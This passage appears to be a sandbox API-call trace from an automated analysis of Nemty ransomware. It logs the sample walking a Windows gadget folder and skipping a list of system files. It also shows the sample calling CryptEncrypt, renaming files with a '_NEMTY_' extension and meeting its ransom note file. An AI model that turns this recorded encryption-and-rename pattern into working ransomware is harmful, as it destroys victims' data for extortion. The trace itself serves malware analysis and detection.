lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0151.009] CloseHandle (hObject=0xffffffff) returned 0 [0151.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340390 [0151.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0151.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0151.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0151.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340438 [0151.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63404e0 [0151.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340438 | out: hHeap=0x4f90000) returned 1 [0151.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.009] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\settings.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\settings.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\settings.html._nemty_kgobjgd_")) returned 0 [0151.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e0 | out: hHeap=0x4f90000) returned 1 [0151.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340390 | out: hHeap=0x4f90000) returned 1 [0151.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0151.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0151.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0151.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0151.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0151.009] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f3e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="weather.html", cAlternateFileName="")) returned 1 [0151.009] lstrcmpiW (lpString1="weather.html", lpString2=".") returned 1 [0151.009] lstrcmpiW (lpString1="weather.html", lpString2="..") returned 1 [0151.009] lstrcmpiW (lpString1="weather.html", lpString2="...") returned 1 [0151.009] lstrcmpiW (lpString1="weather.html", lpString2="windows") returned -1 [0151.009] lstrcmpiW (lpString1="weather.html", lpString2="$RECYCLE.BIN") returned 1 [0151.009] lstrcmpiW (lpString1="weather.html", lpString2="rsa") returned 1 [0151.009] lstrcmpiW (lpString1="weather.html", lpString2="NTDETECT.COM") returned 1 [0151.010] lstrcmpiW (lpString1="weather.html", lpString2="ntldr") returned 1 [0151.010] lstrcmpiW (lpString1="weather.html", lpString2="MSDOS.SYS") returned 1 [0151.010] lstrcmpiW (lpString1="weather.html", lpString2="IO.SYS") returned 1 [0151.010] lstrcmpiW (lpString1="weather.html", lpString2="boot.ini") returned 1 [0151.010] lstrcmpiW (lpString1="weather.html", lpString2="boot.ini") returned 1 [0151.010] lstrcmpiW (lpString1="weather.html", lpString2="AUTOEXEC.BAT") returned 1 [0151.010] lstrcmpiW (lpString1="weather.html", lpString2="ntuser.dat") returned 1 [0151.010] lstrcmpiW (lpString1="weather.html", lpString2="desktop.ini") returned 1 [0151.010] lstrcmpiW (lpString1="weather.html", lpString2="CONFIG.SYS") returned 1 [0151.010] lstrcmpiW (lpString1="weather.html", lpString2="RECYCLER") returned 1 [0151.010] lstrcmpiW (lpString1="weather.html", lpString2="BOOTSECT.BAK") returned 1 [0151.010] lstrcmpiW (lpString1="weather.html", lpString2="bootmgr") returned 1 [0151.010] lstrcmpiW (lpString1="weather.html", lpString2="programdata") returned 1 [0151.010] lstrcmpiW (lpString1="weather.html", lpString2="appdata") returned 1 [0151.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0151.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.html", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weather.html", lpUsedDefaultChar=0x0) returned 12 [0151.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0151.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.html", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weather.html", lpUsedDefaultChar=0x0) returned 12 [0151.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0151.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.html", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weather.html", lpUsedDefaultChar=0x0) returned 12 [0151.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0151.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.html", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weather.html", lpUsedDefaultChar=0x0) returned 12 [0151.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340178 [0151.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0151.010] Sleep (dwMilliseconds=0x5) [0151.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda9a410, dwHighDateTime=0x1d561e8)) [0151.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda9a410, dwHighDateTime=0x1d561e8)) [0151.021] GetLastError () returned 0x5 [0151.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.022] GetLastError () returned 0x5 [0151.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.022] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0151.022] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0151.022] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0151.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340220 [0151.022] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340220, pcchString=0x653e91c | out: pszString="wtCu9Fu+hJt2HLeywzDHHw/13ZI73o71o10eDW/ktt8FT5qCZxhr1P5xjKZ/Xpnp\r\nIOvPZScZ0U37mRVuOtkytdvDm0wG4xCbGtVChpRzQkSswhBTd2/QBa2NQwWZauea\r\nMPgmmtPWjlcUdU0eoPxjmll08WUXiaYQL0Yf6AxcBQPPqFv5zfRn52tBer/ZqeNV\r\n6TshvBATIoweOeAT+NDLiUaBeueoTtwP+N6+moxGLCTwtvvArbgN/+EpMDDt9LCl\r\nyey02m8P3Aus1RvCNjAA4Vduum3W57aVUsiLCi9brAeeV/vFO0Z6VRnKf4cjwEl0\r\nZjppCUT7JgVg0TmVqKGhWw==\r\n", pcchString=0x653e91c) returned 1 [0151.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0151.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0151.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0151.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340220 [0151.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0151.022] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\weather.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\weather.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.022] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0151.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0151.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.032] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.032] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.050] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.070] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.079] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.079] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.088] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.088] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.097] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.097] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.116] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.116] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340220, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0151.128] CloseHandle (hObject=0xffffffff) returned 0 [0151.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340390 [0151.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0151.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0151.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340438 [0151.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63404e0 [0151.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340438 | out: hHeap=0x4f90000) returned 1 [0151.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0151.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\weather.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\weather.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\weather.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\weather.html._nemty_kgobjgd_")) returned 0 [0151.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e0 | out: hHeap=0x4f90000) returned 1 [0151.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340390 | out: hHeap=0x4f90000) returned 1 [0151.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0151.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0151.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0151.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0151.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.129] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceff8d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xceff8d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xceff8d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0151.129] 